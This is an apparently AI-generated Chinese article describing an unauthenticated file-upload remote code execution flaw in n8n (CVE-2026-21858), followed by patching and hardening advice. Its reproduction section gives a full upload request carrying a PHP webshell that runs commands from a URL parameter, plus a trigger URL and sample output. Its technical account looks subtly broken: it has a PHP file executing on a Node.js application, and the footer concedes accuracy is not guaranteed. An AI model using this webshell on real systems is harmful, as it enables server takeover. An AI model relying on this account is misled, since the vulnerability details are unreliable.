n8n 前台远程代码执行漏洞(CVE-2026-21858)
n8n前台远程代码执行漏洞(CVE-2026-21858)深度分析与防护指南
漏洞概述
n8n是一款开源低代码自动化工作流工具,被广泛应用于企业业务流程自动化、数据同步等场景。CVE-2026-21858是n8n暴露的高危前台远程代码执行漏洞,未授权攻击者可通过构造恶意文件上传请求,直接在目标服务器执行任意代码,获取服务器控制权,对企业数据安全与业务连续性构成严重威胁。
影响版本
官方披露的受影响版本范围:
- n8n 1.x系列版本 < 1.41.1
- n8n 0.x系列所有未安装安全补丁的版本
已修复安全版本:n8n ≥ 1.41.1
漏洞原理深度解析
CVE-2026-21858漏洞的核心成因在于n8n文件上传模块的双重安全缺陷:
- 未授权访问绕过:n8n的文件上传核心接口(如
/rest/upload)未对请求发起者进行身份校验,前台匿名用户可直接访问该接口提交上传请求; - 文件校验机制缺失:接口未对上传文件的后缀名、MIME类型及内容进行有效校验,攻击者可上传包含恶意代码的脚本文件(如PHP、Node.js脚本),且文件会被存储在公开可访问的目录中,通过访问文件URL即可触发远程代码执行。
攻击者利用该漏洞时,无需任何身份凭证,仅需两步即可完成攻击:上传恶意脚本至服务器可访问目录,再通过URL触发脚本执行任意系统命令,最终完全控制目标服务器。
漏洞复现详细步骤
1. 搭建漏洞环境
使用Docker快速部署受CVE-2026-21858影响的n8n版本:
# 拉取受影响镜像
docker pull n8nio/n8n:1.40.0
# 启动容器,映射5678端口
docker run -d -p 5678:5678 n8nio/n8n:1.40.0
环境启动后,访问http://your-ip:5678即可进入n8n前台页面。
2. 构造恶意文件上传请求
使用Burp Suite或curl工具,向文件上传接口提交恶意脚本上传请求:
- 请求URL:
http://your-ip:5678/rest/upload - 请求方法:POST
- 请求头:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW - 请求体:
------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="cve-2026-21858.php" Content-Type: application/octet-stream
<?php
echo "CVE-2026-21858 POC Result: ";
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
发送请求后,若返回`200 OK`及文件存储路径(如`/data/uploads/cve-2026-21858.php`),则上传成功。
### 3. 触发远程代码执行
构造恶意文件访问URL,拼接执行命令的参数:
http://your-ip:5678/data/uploads/cve-2026-21858.php?cmd=id
服务器将返回命令执行结果,示例如下:
CVE-2026-21858 POC Result: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
至此,n8n的CVE-2026-21858远程代码执行漏洞复现完成。
## 漏洞修复与安全加固建议
### 1. 官方版本升级
立即将n8n升级至官方安全版本**1.41.1及以上**,该版本已修复文件上传接口的未授权访问与文件校验缺陷。Docker环境升级命令:
```bash
# 停止旧版本容器
docker stop [n8n-container-id]
# 拉取安全版本镜像
docker pull n8nio/n8n:1.41.1
# 启动新版本容器
docker run -d -p 5678:5678 n8nio/n8n:1.41.1
2. 临时防护措施(无法立即升级时)
- 限制上传接口访问:通过Nginx、Apache反向代理配置,仅允许内部可信IP访问
/rest/upload等文件上传接口; - WAF规则拦截:部署Web应用防火墙(WAF),拦截包含恶意脚本内容的文件上传请求、未知后缀文件的访问请求;
- 禁用不必要功能:若业务无需文件上传,直接禁用n8n的文件上传模块或相关接口。
3. 长期安全加固
- 权限最小化:使用非root用户权限运行n8n容器/进程,降低漏洞被利用后的危害范围;
- 日志审计:开启n8n的访问日志与审计功能,监控异常文件上传、陌生IP访问等可疑行为;
- 定期扫描:通过漏洞扫描工具定期检测n8n系统安全状态,及时发现潜在风险;
- 网络隔离:将n8n部署在内部可信网络区域,避免直接暴露在公网环境中。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。
评论 (0)